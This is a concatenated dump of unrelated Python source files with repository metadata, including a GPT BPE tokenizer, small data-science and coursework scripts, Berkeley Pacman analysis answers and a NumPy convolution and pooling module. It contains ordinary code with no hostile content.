model, ensure the tokenizer wont index sequences longer # than the number of positional embeddings max_len = PRETRAINED_VOCAB_POSITIONAL_EMBEDDINGS_SIZE_MAP[pretrained_model_name_or_path] kwargs['max_len'] = min(kwargs.get('max_len', int(1e12)), max_len) # Instantiate tokenizer. if special_tokens_file and 'special_tokens' not in kwargs: special_tokens = open(special_tokens_file, encoding='utf-8').read().split('\n')[:-1] else: special_tokens = kwargs.pop('special_tokens', []) tokenizer = cls(resolved_vocab_file, resolved_merges_file, special_tokens=special_tokens, *inputs, **kwargs) return tokenizer def __init__(self, vocab_file, merges_file, special_tokens=None, max_len=None): try: import ftfy import spacy self.nlp = spacy.load('en', disable=['parser', 'tagger', 'ner', 'textcat']) self.fix_text = ftfy.fix_text except ImportError: logger.warning("ftfy or spacy is not installed using BERT BasicTokenizer instead of SpaCy & ftfy.") self.nlp = BasicTokenizer(do_lower_case=True, never_split=special_tokens if special_tokens is not None else []) self.fix_text = None self.max_len = max_len if max_len is not None else int(1e12) self.encoder = json.load(open(vocab_file, encoding="utf-8")) self.decoder = {v:k for k,v in self.encoder.items()} merges = open(merges_file, encoding='utf-8').read().split('\n')[1:-1] merges = [tuple(merge.split()) for merge in merges] self.bpe_ranks = dict(zip(merges, range(len(merges)))) self.cache = {} self.set_special_tokens(special_tokens) def __len__(self): return len(self.encoder) + len(self.special_tokens) def set_special_tokens(self, special_tokens): """ Add a list of additional tokens to the encoder. The additional tokens are indexed starting from the last index of the current vocabulary in the order of the `special_tokens` list. """ if not special_tokens: self.special_tokens = {} self.special_tokens_decoder = {} return self.special_tokens = dict((tok, len(self.encoder) + i) for i, tok in enumerate(special_tokens)) self.special_tokens_decoder = {v:k for k, v in self.special_tokens.items()} if self.fix_text is None: # Using BERT's BasicTokenizer: we can update the tokenizer self.nlp.never_split = special_tokens logger.info("Special tokens {}".format(self.special_tokens)) def bpe(self, token): word = tuple(token[:-1]) + (token[-1] + '</w>',) if token in self.cache: return self.cache[token] pairs = get_pairs(word) if not pairs: return token+'</w>' while True: bigram = min(pairs, key=lambda pair: self.bpe_ranks.get(pair, float('inf'))) if bigram not in self.bpe_ranks: break first, second = bigram new_word = [] i = 0 while i < len(word): try: j = word.index(first, i) new_word.extend(word[i:j]) i = j except: new_word.extend(word[i:]) break if word[i] == first and i < len(word)-1 and word[i+1] == second: new_word.append(first+second) i += 2 else: new_word.append(word[i]) i += 1 new_word = tuple(new_word) word = new_word if len(word) == 1: break else: pairs = get_pairs(word) word = ' '.join(word) if word == '\n </w>': word = '\n</w>' self.cache[token] = word return word def tokenize(self, text): """ Tokenize a string. """ split_tokens = [] if self.fix_text is None: # Using BERT's BasicTokenizer text = self.nlp.tokenize(text) for token in text: split_tokens.extend([t for t in self.bpe(token).split(' ')]) else: # Using SpaCy & ftfy (original tokenization process of OpenAI GPT) text = self.nlp(text_standardize(self.fix_text(text))) for token in text: split_tokens.extend([t for t in self.bpe(token.text.lower()).split(' ')]) return split_tokens def convert_tokens_to_ids(self, tokens): """ Converts a sequence of tokens into ids using the vocab. """ ids = [] if isinstance(tokens, str) or (sys.version_info[0] == 2 and isinstance(tokens, unicode)): if tokens in self.special_tokens: return self.special_tokens[tokens] else: return self.encoder.get(tokens, 0) for token in tokens: if token in self.special_tokens: ids.append(self.special_tokens[token]) else: ids.append(self.encoder.get(token, 0)) if len(ids) > self.max_len: logger.warning( "Token indices sequence length is longer than the specified maximum " " sequence length for this OpenAI GPT model ({} > {}). Running this" " sequence through the model will result in indexing errors".format(len(ids), self.max_len) ) return ids def convert_ids_to_tokens(self, ids, skip_special_tokens=False): """Converts a sequence of ids in BPE tokens using the vocab.""" tokens = [] for i in ids: if i in self.special_tokens_decoder: if not skip_special_tokens: tokens.append(self.special_tokens_decoder[i]) else: tokens.append(self.decoder[i]) return tokens def decode(self, ids, skip_special_tokens=False, clean_up_tokenization_spaces=False): """Converts a sequence of ids in a string.""" tokens = self.convert_ids_to_tokens(ids, skip_special_tokens=skip_special_tokens) out_string = ''.join(tokens).replace('</w>', ' ').strip() if clean_up_tokenization_spaces: out_string = out_string.replace('<unk>', '') out_string = out_string.replace(' .', '.').replace(' ?', '?').replace(' !', '!').replace(' ,', ',').replace(' ,', ',' ).replace(" n't", "n't").replace(" 'm", "'m").replace(" 're", "'re").replace(" do not", " don't" ).replace(" 's", "'s").replace(" t ", "'t ").replace(" s ", "'s ").replace(" m ", "'m " ).replace(" 've", "'ve") return out_string def save_vocabulary(self, vocab_path): """Save the tokenizer vocabulary and merge files to a directory.""" if not os.path.isdir(vocab_path): logger.error("Vocabulary path ({}) should be a directory".format(vocab_path)) return vocab_file = os.path.join(vocab_path, VOCAB_NAME) merge_file = os.path.join(vocab_path, MERGES_NAME) special_tokens_file = os.path.join(vocab_path, SPECIAL_TOKENS_NAME) with open(vocab_file, 'w', encoding='utf-8') as f: f.write(json.dumps(self.encoder, ensure_ascii=False)) index = 0 with open(merge_file, "w", encoding="utf-8") as writer: writer.write(u'#version: 0.2\n') for bpe_tokens, token_index in sorted(self.bpe_ranks.items(), key=lambda kv: kv[1]): if index != token_index: logger.warning("Saving vocabulary to {}: BPE merge indices are not consecutive." " Please check that the tokenizer is not corrupted!".format(merge_file)) index = token_index writer.write(' '.join(bpe_tokens) + u'\n') index += 1 with open(special_tokens_file, 'w', encoding='utf-8') as writer: for token in sorted(self.special_tokens.keys(), key=lambda kv: kv[1]): writer.write(token + u'\n') return vocab_file, merge_file, special_tokens_file

[ "hao.en0116@gmail.com" ]

hao.en0116@gmail.com

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abner0908/cloud_robot

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from common import clock class FPS: def __init__(self): # store the start time, end time, and total number of frames # that were examined between the start and end intervals self._start = None self._end = None self._numFrames = 0 self._window_size = 120 def __str__(self): self.stop() return str(self.fps()) def __float__(self): self.stop() return self.fps() def start(self): # start the timer self._start = clock() return self def stop(self): # stop the timer self._end = clock() def update(self): # increment the total number of frames examined during the # start and end intervals self._numFrames += 1 if self._numFrames == self._window_size * 2: self._numFrames -= 120 self._start = self._window_start if self._numFrames == self._window_size: self._window_start = clock() def elapsed(self): # return the total number of seconds between the start and # end interval if self._start == None or self._end == None: raise Exception( "to get the fps value before the fps runs start or stop function.") return (self._end - self._start) def fps(self): # compute the (approximate) frames per second return self._numFrames / self.elapsed() if __name__ == "__main__": fps = FPS() print fps

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2021-03-24T10:06:59.540849

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import twitter CONSUMER_KEY = "" CONSUMER_SECRET = "" ACCESS_TOKEN_KEY = "" ACCESS_TOKEN_SECRET = "" api = twitter.Api(consumer_key=CONSUMER_KEY, consumer_secret=CONSUMER_SECRET, access_token_key=ACCESS_TOKEN_KEY, access_token_secret=ACCESS_TOKEN_SECRET) USER_SCREEN_NAME = "StatMLPapers" #user = api.GetUser(screen_name=USER_SCREEN_NAME) #print(user.name + " : " + user.description + "\n") def check(status): return status.favorite_count + status.retweet_count >= 10 statuses = api.GetUserTimeline(screen_name=USER_SCREEN_NAME) for s in statuses: if check(s): print(s.created_at, s.text, s.favorite_count, s.retweet_count) for it in range(0,5): print("") max_id = statuses[-1].id statuses = api.GetUserTimeline(screen_name=USER_SCREEN_NAME, max_id=max_id) if len(statuses) == 1: break else: statuses = statuses[1:] for s in statuses: if check(s): print(s.created_at, s.text, s.favorite_count, s.retweet_count)

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# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from flash.text import TranslationTask model = TranslationTask.load_from_checkpoint("https://flash-weights.s3.amazonaws.com/translation_model_en_ro.pt") model.serve()

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"""daintree URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.10/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.conf.urls import url, include 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) """ from django.conf.urls import url from django.contrib import admin from main.views import HomeView urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^$', HomeView.as_view(), name="home") ]

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import yfinance as yf import datetime as dt import pandas as pd def sixMonthIndex(tickers): start = dt.datetime.today() - dt.timedelta(180) end = dt.datetime.today() cl_price = pd.DataFrame() for ticker in tickers: cl_price[ticker]= yf.download(ticker, start, end, period = "6mo")["Adj Close"] finalList = cl_price.iloc[-1] / cl_price.iloc[0] finalList.sort_values(ascending = False, inplace = True) print("6 month Index") print(finalList) finalList = finalList[:len(finalList)//3] return finalList

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noreply@github.com

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###################### ## Created by Cue Hyunkyu Lee ## Date Jan 17 2018 ## ## import modules import sys import os ## Read input arguments print("The current code is: {}".format(sys.argv[0])); print("The number of arguments is: {}".format(len(sys.argv))); snp_file = sys.argv[1]; catalog_dir = os.path.dirname(snp_file); out_file = os.path.join(catalog_dir,"catalogIn1000G.txt"); tg_file = sys.argv[2]; ## Read GWAS catalog snp file print("\nStart reading snp file") catalog_snps = []; n = 0; with open(snp_file,"r") as fin: for line in fin: splitted = line.strip(); catalog_snps.append(splitted); n = n + 1; print("The total number of lines: {}".format(n)); print("\nComplete reading snp file"); ## set indice catalog_dict = dict((j,i) for (i,j) in enumerate(catalog_snps)); found_vec = [False] * len(catalog_snps); ## Read VEP print("\nStart reading tg data"); n = 0; with open(tg_file,"r") as fin, open(out_file,"w") as fout: for line in fin: splitted = line.strip().split("\t"); cur_snp=splitted[1]; if ( cur_snp in catalog_dict ): print(" ".join(map(str,splitted)),file=fout); found_vec[catalog_dict[cur_snp]] = True; n = n + 1; print("The total number of founds: {}".format(n)); print("\nComplete reading TG_data"); n=0; for i in range(len(found_vec)): if(found_vec[i] == False): n=n+1; print("n = {}".format(n))

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pancakes = [2,3,1,7,4,0,5] plate = [] def SortPancakes(): pancakes.sort() i = 0 while i in pancakes: plate.append(pancakes[-1]) pancakes.pop(-1) return plate print(SortPancakes())

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import sys sys.path.append('datasets') sys.path.append('datasets/append/') sys.path.append('src/') sys.path.append('experiments/') from data_utils import DataUtils from normal import normal_experiment from noise import noise_experiment from softor import softor_experiment from step import step_experiment import argparse def main(): print(sys.argv[1] + ' experiments runnning') parser = argparse.ArgumentParser(description='experiments') parser.add_argument('type', default='noise', type=str, help='type of experiments [noise, step, softor, normal]') parser.add_argument('name', default='append', type=str, help='name of the problem') parser.add_argument('lr', default=1e-2, type=float, help='learning rate') parser.add_argument('epoch', default=10000, type=int, help='epoch in training') parser.add_argument('m', default=3, type=int, help='the size of the solution') parser.add_argument('T', default=5, type=int, help='infer step') parser.add_argument('--noise_rate', default=0.00, type=float, help='noise rate of training data') args = parser.parse_args() if args.type == 'noise': noise_experiment(args) elif args.type == 'normal': normal_experiment(args) elif args.type == 'step': step_experiment(args) elif args.type == 'softor': softor_experiment(args) if __name__ == "__main__": main()

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#!/usr/bin/env python # author: Wonmin Byeon (wonmin.byeon@gmail.com) # data reader import scipy.misc import numpy as np import glob import random import cv2 __author__ = "Wonmin Byeon" __maintainer__ = "Wonmin Byeon" __email__ = "wonmin.byeon@gmail.com" np.random.seed(1234) WORK_DIRECTORY = 'data/' NUM_TEST_TM, NUM_TEST_RCM, NUM_TEST_CM = 10, 8, 2 IMAGE_SIZE_W, IMAGE_SIZE_H = 180, 520 def resize_image(image): return scipy.misc.imresize(image, (IMAGE_SIZE_H, IMAGE_SIZE_W)) def resize_images(data, n_data): resized_data = [] for idx in xrange(n_data): image = data[idx] resized_data.append(resize_image(image)) print("resized_data shape", np.array(resized_data).shape) return resized_data def apply_clahe(image): clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8)) return clahe.apply(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) def apply_histogrameq(image): processed = cv2.equalizeHist(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) return processed def normalization(train_data, test_data): print("before norm", np.mean(train_data), np.std(train_data), np.mean(test_data), np.std(test_data)) mean, std = np.mean(train_data), np.std(train_data) train_data -= mean # zero-center test_data -= mean train_data /= std test_data /= std print("after norm", np.mean(train_data), np.std(train_data), np.mean(test_data), np.std(test_data)) return train_data, test_data def reading_data(): # Get the data. try: flist_tm, flist_rcm, flist_cm = glob.glob(WORK_DIRECTORY+"tm/*.jpg"), glob.glob(WORK_DIRECTORY+"rcm/*.jpg"), glob.glob(WORK_DIRECTORY+"cm/*.jpg") print('num files tm/rcm/cm: ',len(flist_tm), len(flist_rcm), len(flist_cm)) except: print('Please set the correct path to the dataset: '+WORK_DIRECTORY+'*.jpg',) sys.exit() flist_tm, flist_rcm, flist_cm = shuffling(flist_tm), shuffling(flist_rcm), shuffling(flist_cm) min_w, min_h = 99999, 99999 train_data, test_data, train_labels, test_labels, train_fname, test_fname = [], [], [], [], [], [] count = 0 for idx, fname in enumerate(flist_tm): if ".jpg" in fname: # image = misc.imread(fname) image = scipy.misc.imread(fname) hh, ww = image.shape image = resize_image(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) processed1 = apply_histogrameq(image) image = np.concatenate([image, processed1], axis=2) if count < NUM_TEST_TM: test_data.append(image/255.) test_labels.append(0) test_fname.append(fname) count += 1 else: train_data.append(image/255.) train_labels.append(0) train_fname.append(fname) min_w, min_h = np.amin([min_w, ww]), np.amin([min_h, hh]) max_w, max_h = np.amax([min_w, ww]), np.amax([min_h, hh]) count=0 for idx, fname in enumerate(flist_rcm): if ".jpg" in fname: image = scipy.misc.imread(fname) hh, ww = image.shape image = resize_image(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) processed1 = apply_histogrameq(image) # processed2 = apply_clahe(image) image = np.concatenate([image, processed1], axis=2) if count < NUM_TEST_RCM: test_data.append(image/255.) test_labels.append(1) test_fname.append(fname) count += 1 else: train_data.append(image/255.) train_labels.append(1) train_fname.append(fname) min_w, min_h = np.amin([min_w, ww]), np.amin([min_h, hh]) max_w, max_h = np.amax([min_w, ww]), np.amax([min_h, hh]) count=0 for idx, fname in enumerate(flist_cm): if ".jpg" in fname: image = scipy.misc.imread(fname) hh, ww = image.shape image = resize_image(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) processed1 = apply_histogrameq(image) # processed2 = apply_clahe(image) image = np.concatenate([image, processed1], axis=2) if count < NUM_TEST_CM: test_data.append(image/255.) test_labels.append(1) test_fname.append(fname) count += 1 else: train_data.append(image/255.) train_labels.append(1) train_fname.append(fname) min_w, min_h = np.amin([min_w, ww]), np.amin([min_h, hh]) max_w, max_h = np.amax([min_w, ww]), np.amax([min_h, hh]) train_data, train_labels, train_fname = shuffling_dataset(train_data, train_labels, train_fname) test_data, test_labels, test_fname = shuffling_dataset(test_data, test_labels, test_fname) train_data, test_data = np.float32(train_data), np.float32(test_data) train_labels, test_labels = np.int64(train_labels), np.int64(test_labels) return train_data, test_data, train_labels, test_labels, train_fname, test_fname, min_h, min_w def reading_test_data(directory): # Get the data. try: flist_tm, flist_cm = glob.glob(directory+"tm/*.jpg"), glob.glob(directory+"cm/*.jpg") except: print('Please set the correct path to the dataset: '+directory+'*.jpg',) sys.exit() flist_tm, flist_cm = shuffling(flist_tm), shuffling(flist_cm) test_labels, test_data, test_fname = [], [], [] count = 0 for idx, fname in enumerate(flist_tm): if ".jpg" in fname: image = scipy.misc.imread(fname) hh, ww = image.shape image = resize_image(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) processed1 = apply_histogrameq(image) image = np.concatenate([image, processed1], axis=2) test_data.append(image/255.) test_labels.append(0) test_fname.append(fname) count += 1 count=0 for idx, fname in enumerate(flist_cm): if ".jpg" in fname: image = scipy.misc.imread(fname) hh, ww = image.shape image = resize_image(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) processed1 = apply_histogrameq(image) image = np.concatenate([image, processed1], axis=2) test_data.append(image/255.) test_labels.append(1) test_fname.append(fname) count += 1 test_data, test_labels, test_fname = shuffling_dataset(test_data, test_labels, test_fname) test_data = np.float32(test_data) test_labels = np.int64(test_labels) return test_data, test_labels, test_fname def shuffling(data): perm = np.arange(len(data)) np.random.shuffle(perm) data = np.array(data) return data[perm] def shuffling_dataset(data, labels, fname): perm = np.arange(len(data)) np.random.shuffle(perm) data = np.array(data) labels = np.array(labels) fname = np.array(fname) return data[perm], labels[perm], fname[perm]

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wonmin.byeon@gmail.com

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kruthar/euler

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__author__ = 'kruthar' ''' Large Sum Work out the first ten digits of the sum of the following one-hundred 50-digit numbers. 37107287533902102798797998220837590246510135740250 46376937677490009712648124896970078050417018260538 74324986199524741059474233309513058123726617309629 91942213363574161572522430563301811072406154908250 23067588207539346171171980310421047513778063246676 89261670696623633820136378418383684178734361726757 28112879812849979408065481931592621691275889832738 44274228917432520321923589422876796487670272189318 47451445736001306439091167216856844588711603153276 70386486105843025439939619828917593665686757934951 62176457141856560629502157223196586755079324193331 64906352462741904929101432445813822663347944758178 92575867718337217661963751590579239728245598838407 58203565325359399008402633568948830189458628227828 80181199384826282014278194139940567587151170094390 35398664372827112653829987240784473053190104293586 86515506006295864861532075273371959191420517255829 71693888707715466499115593487603532921714970056938 54370070576826684624621495650076471787294438377604 53282654108756828443191190634694037855217779295145 36123272525000296071075082563815656710885258350721 45876576172410976447339110607218265236877223636045 17423706905851860660448207621209813287860733969412 81142660418086830619328460811191061556940512689692 51934325451728388641918047049293215058642563049483 62467221648435076201727918039944693004732956340691 15732444386908125794514089057706229429197107928209 55037687525678773091862540744969844508330393682126 18336384825330154686196124348767681297534375946515 80386287592878490201521685554828717201219257766954 78182833757993103614740356856449095527097864797581 16726320100436897842553539920931837441497806860984 48403098129077791799088218795327364475675590848030 87086987551392711854517078544161852424320693150332 59959406895756536782107074926966537676326235447210 69793950679652694742597709739166693763042633987085 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81234880673210146739058568557934581403627822703280 82616570773948327592232845941706525094512325230608 22918802058777319719839450180888072429661980811197 77158542502016545090413245809786882778948721859617 72107838435069186155435662884062257473692284509516 20849603980134001723930671666823555245252804609722 53503534226472524250874054075591789781264330331690 ''' f = open('../data/data-prob13.txt', 'r'); total = 0 for line in f.readlines(): total += int(line) print str(total)[0:10]

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# analysis.py # ----------- # Licensing Information: You are free to use or extend these projects for # educational purposes provided that (1) you do not distribute or publish # solutions, (2) you retain this notice, and (3) you provide clear # attribution to UC Berkeley, including a link to http://ai.berkeley.edu. # # Attribution Information: The Pacman AI projects were developed at UC Berkeley. # The core projects and autograders were primarily created by John DeNero # (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu). # Student side autograding was added by Brad Miller, Nick Hay, and # Pieter Abbeel (pabbeel@cs.berkeley.edu). ###################### # ANALYSIS QUESTIONS # ###################### # Set the given parameters to obtain the specified policies through # value iteration. def question2(): answerDiscount = 0.9 #change from 0.2 to 0.0 answerNoise = 0.0 return answerDiscount, answerNoise def question3a(): answerDiscount = 0.3 answerNoise = 0.0 answerLivingReward = 0.0 return answerDiscount, answerNoise, answerLivingReward # If not possible, return 'NOT POSSIBLE' def question3b(): answerDiscount = 0.3 answerNoise = 0.1 answerLivingReward = 0.1 return answerDiscount, answerNoise, answerLivingReward # If not possible, return 'NOT POSSIBLE' def question3c(): answerDiscount = 0.9 answerNoise = 0.1 answerLivingReward = -0.3 return answerDiscount, answerNoise, answerLivingReward # If not possible, return 'NOT POSSIBLE' def question3d(): answerDiscount = 0.9 answerNoise = 0.3 answerLivingReward = 0.2 return answerDiscount, answerNoise, answerLivingReward # If not possible, return 'NOT POSSIBLE' def question3e(): answerDiscount = 0.5 answerNoise = 0.5 answerLivingReward = 5 return answerDiscount, answerNoise, answerLivingReward # If not possible, return 'NOT POSSIBLE' def question6(): answerEpsilon = None answerLearningRate = None #return answerEpsilon, answerLearningRate # If not possible, return 'NOT POSSIBLE' return 'NOT POSSIBLE' if __name__ == '__main__': print 'Answers to analysis questions:' import analysis for q in [q for q in dir(analysis) if q.startswith('question')]: response = getattr(analysis, q)() print ' Question %s:\t%s' % (q, str(response))

[ "jordan.shartar@gmail.com" ]

jordan.shartar@gmail.com

49f674bbf8deb4d9b188a03d297bbea60bbade52

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/Algorithmic Toolbox/week3_greedy_algorithms/1_money_change/change.py

63faa89d2d4eab2c731b1ec447c7fbc4cc6ca34d

[]

no_license

sreeragrnandan/Data-Structures-and-Algorithms-Specialisation

60f5c7845ec738bfc116947c81c4476211176dd6

f47188942a1a12994730a09af1b094106dcc4b95

refs/heads/master

2023-01-30T00:51:44.282135

2020-12-14T11:14:06

288,779,959

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# Uses python3 import sys def get_change(m): #write your code here coin = [4, 3, 1] i = 0 n = 0 while m != 0: if coin[i] <= m: m -= coin[i] n += 1 else: i += 1 return n # if __name__ == '__main__': # m = int(sys.stdin.read()) # print(get_change(m)) m = int(input()) print(get_change(m))

[ "sreeragraghunandan@gmail.com" ]

sreeragraghunandan@gmail.com

ebe2a975ab70d15d04ef4c8c6afb5060da022d78

8a5f0ab7839a729867baf9be9919fb8ba89009df

/bad_compute.py

e04049579d86fc30afde4aa87bba3bdbc452b9df

[]

no_license

jdk-maxim/action-test-repo

ecd079cc064a619e56df62139332edb60b7fd201

e23e22fc4a40b51f0a12eac893226516a6b7f635

refs/heads/master

2023-01-14T00:56:07.931588

2020-11-20T22:51:08

302,100,610

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py

################################################################################################### # Copyright (C) 2018-2020 Maxim Integrated Products, Inc. All Rights Reserved. # # Maxim Integrated Products, Inc. Default Copyright Notice: # https://www.maximintegrated.com/en/aboutus/legal/copyrights.html # # Written by RM ################################################################################################### """ Pure Python implementation of Conv1d, Conv2d, ConvTranspose2d, Pool1d, Pool2d, Eltwise, and Linear. Allows debug of individual accumulations. NumPy implementation of Conv2d, ConvTranspose2d, Pool2d. Compatible with PyTorch. """ import os import sys import numpy as np from numpy.lib.stride_tricks import as_strided import op import stats from eprint import eprint """ Comment for git change tweak """ debug_log = None def debug_open( layer, base_directory, test_name, log_filename, # pylint: disable=unused-argument ): """ Create debug log for a layer """ global debug_log # pylint: disable=global-statement debug_log = open(os.path.join(base_directory, test_name, f'compute-{layer}.csv'), 'w') def debug_print( t, ): """ Print to the compute debug log """ global debug_log # pylint: disable=global-statement print(t, file=debug_log) def debug_close(): """ Close the compute debug log """ global debug_log # pylint: disable=global-statement debug_log.close() def conv2d( data, weight, bias, input_size, output_size, kernel_size, stride, pad, dilation, fractional_stride, output_pad, groups=1, debug=False, ): """ Compute a 2D convolution. Note that all PyTorch numbers are ordered (C, H, W) """ assert data.shape == tuple(input_size) in_channels = input_size[0] out_channels = output_size[0] if debug: # Slow route using pure Python ref = np.full(shape=output_size, fill_value=np.nan, dtype=np.int64) debug_print('k,c,x,y,weight,data,prod,cacc,acc') for k in range(out_channels): for y in range(-pad[0], input_size[1] - dilation[0] * (kernel_size[0] - 1) + pad[0], stride[0]): for y_frac in range(fractional_stride[0]): for x in range(-pad[1], input_size[2] - dilation[1] * (kernel_size[1] - 1) + pad[1], stride[1]): for x_frac in range(fractional_stride[1]): val = np.int64(0) c = 0 while True: dc = c if groups == 1 else c + k * (in_channels // groups) sval = np.int(0) for h in range(kernel_size[0]): for w in range(kernel_size[1]): ypos = (y + pad[0])*fractional_stride[0] - pad[0] \ + y_frac + h * dilation[0] yd, yr = divmod(ypos, fractional_stride[0]) xpos = (x + pad[1])*fractional_stride[1] - pad[1] \ + x_frac + w * dilation[1] xd, xr = divmod(xpos, fractional_stride[1]) if yr == 0 and 0 <= yd < input_size[1] and \ xr == 0 and 0 <= xd < input_size[2]: prod = weight[k][c][h][w] * data[dc][yd][xd] sval += prod val += prod stats.true_macc += 1 debug_print( f'{k},{c},{x},{y},{weight[k][c][h][w]},' f'{data[dc][yd][xd]},{prod},{sval},{val}' ) c += 16 if c >= in_channels // groups: c = (c + 1) % 16 if c in (0, in_channels // groups): break if bias is not None: val += bias[k] debug_print( f' adding bias: {bias[k]} -> result: {val}' ) ref[k][ ((y + pad[0])*fractional_stride[0] + y_frac) // stride[0] ][ ((x + pad[1])*fractional_stride[1] + x_frac) // stride[1] ] = val # Fast computation using NumPy # Stretch data for fractionally-strided convolution if fractional_stride[0] > 1 or fractional_stride[1] > 1: ndata = np.zeros((data.shape[0], data.shape[1] * fractional_stride[0], data.shape[2] * fractional_stride[1]), dtype=data.dtype) ndata[:, 0::fractional_stride[0], 0::fractional_stride[1]] = data data = ndata # Create zero padding around data and stretch weights for dilation. if pad[0] or pad[1] or output_pad[0] or output_pad[1]: data = np.pad(data, pad_width=((0, 0), (pad[0], pad[0]), (pad[1], pad[1])), mode='constant', constant_values=0) if dilation[0] > 1 or dilation[1] > 1: nweight = np.zeros((weight.shape[0], weight.shape[1], (kernel_size[0] - 1) * dilation[0] + 1, (kernel_size[1] - 1) * dilation[1] + 1), dtype=weight.dtype) nweight[:, :, 0::dilation[0], 0::dilation[1]] = weight weight = nweight h = (data.shape[1] - weight.shape[3] + 1) // stride[0] # Resulting output height w = (data.shape[2] - weight.shape[2] + 1) // stride[1] # Resulting output width view = as_strided(data, shape=(h, w, data.shape[0], weight.shape[2], weight.shape[3]), strides=((data.strides[1] * stride[0], data.strides[2] * stride[1], data.strides[0], data.strides[1], data.strides[2])), writeable=False) if groups > 1: nweight = np.zeros((weight.shape[0], in_channels, weight.shape[2], weight.shape[3]), dtype=weight.dtype) for i in range(weight.shape[0]): for j in range(in_channels // groups): nweight[i, i * (in_channels // groups) + j, :, :] = weight[i, j, :, :] weight = nweight output = np.tensordot(view, weight, axes=((2, 3, 4), (1, 2, 3))).transpose(2, 0, 1) # Apply bias if bias is not None: for k in range(out_channels): output[k] += bias[k] if debug: if not (ref == output).all(): eprint('NumPy <-> Python mismatch in compute.conv2d') sys.exit(1) assert output.shape == tuple(output_size) return output def conv1d( data, weight, bias, input_size, output_size, out_channels, kernel_size, stride, pad, dilation, groups=1, debug=False, ): """ Compute a 1D convolution. Note that all PyTorch numbers are ordered (C, L) """ in_channels = input_size[0] weight = weight.reshape(out_channels, input_size[0] // groups, -1) data = data.reshape(input_size[0], -1) output = np.full(shape=(output_size[0], output_size[1]), fill_value=np.nan, dtype=np.int64) # Compute 1D convolution if debug: debug_print('k,c,x,src_offs,wt_offs,weight,data,acc') for k in range(out_channels): out_offs = 0 for x in range(-pad, input_size[1] - dilation * (kernel_size - 1) + pad, stride): val = np.int64(0) for c in range(in_channels // groups): dc = c if groups == 1 else c + k * (in_channels // groups) for w in range(kernel_size): src_offs = x + w * dilation if 0 <= src_offs < input_size[1]: val += weight[k][c][w] * data[dc][src_offs] stats.true_macc += 1 if debug: debug_print( f'{k},{c},{x},{src_offs},{w},{weight[k][c][w]},' f'{data[dc][src_offs]},{val}' ) if bias is not None: val += bias[k] if debug: debug_print( f'+bias {bias[k]} --> output[{k}][{out_offs}] = {val}', ) output[k][out_offs] = val out_offs += 1 return output.reshape((output_size)) def linear( data, weight, bias, in_features, out_features, debug=False, ): """ Compute a fully connected layer. """ output = np.empty(out_features, dtype=np.int64) for w in range(out_features): val = np.int64(0) for n in range(in_features): val += data[n] * weight[w][n] stats.true_sw_macc += 1 if debug: debug_print( f'w={w}, n={n}, weight={weight[w][n]}, data={data[n]} ' f'-> accumulator = {val} ' ) if bias is not None: val += bias[w] if debug: debug_print(f'+bias {bias[w]} --> output[{w}] = {val}') output[w] = val return output def pool2d( data, input_size, output_size, pool, stride, average, floor=True, debug=False, ): """ Compute 2D Pooling (Average or Max) """ assert data.shape == tuple(input_size) if debug: # Slow using pure Python ref = np.empty(shape=output_size, dtype=np.int64) for c in range(input_size[0]): for row in range(0, output_size[1]*stride[0], stride[0]): for col in range(0, output_size[2]*stride[1], stride[1]): if average: avg = np.average(data[c][row:row+pool[0], col:col+pool[1]]) if floor: if avg < 0: val = np.ceil(avg).astype(np.int64).clip(min=-128, max=127) else: val = np.floor(avg).astype(np.int64).clip(min=-128, max=127) else: val = np.floor(avg + 0.5).astype(np.int64).clip(min=-128, max=127) else: val = np.amax(data[c][row:row+pool[0], col:col+pool[1]]) ref[c][row//stride[0]][col//stride[1]] = val # Fast computation using NumPy data_pad = data[:, :(data.shape[1] - pool[0]) // stride[0] * stride[0] + pool[0], :(data.shape[2] - pool[1]) // stride[1] * stride[1] + pool[1], ...] h, w = data_pad.strides[1:] view = as_strided(data_pad, shape=(data_pad.shape[0], 1 + (data_pad.shape[1]-pool[0]) // stride[0], 1 + (data_pad.shape[2]-pool[1]) // stride[1], pool[0], pool[1]), strides=(data_pad.strides[0], stride[0] * h, stride[1] * w, h, w), writeable=False) if average: if floor: pooled = np.nanmean(view, dtype=np.int64, axis=(3, 4)) else: pooled = np.round(np.nanmean(view, axis=(3, 4))).astype(np.int64) else: pooled = np.nanmax(view, axis=(3, 4)) if debug: match = (ref == pooled).all() if not match: eprint('NumPy <-> Python mismatch in compute.pool2d') sys.exit(1) assert pooled.shape == tuple(output_size) return pooled def pool1d( data, input_size, output_size, pool, stride, average, floor=True, debug=False, ): # pylint: disable=unused-argument """ Compute 1D Pooling (Average or Max) """ assert data.shape == tuple(input_size) pooled = np.empty(shape=output_size, dtype=np.int64) for c in range(input_size[0]): for x in range(0, output_size[1]*stride, stride): if average: avg = np.average(data[c][x:x+pool]) if avg < 0: val = np.ceil(avg).astype(np.int64).clip(min=-128, max=127) else: val = np.floor(avg).astype(np.int64).clip(min=-128, max=127) else: val = np.amax(data[c][x:x+pool]) pooled[c][x//stride] = val return pooled def eltwise( operator, data, input_size, debug=False, ): # pylint: disable=unused-argument """ Compute element-wise operation. """ assert data[0].shape == 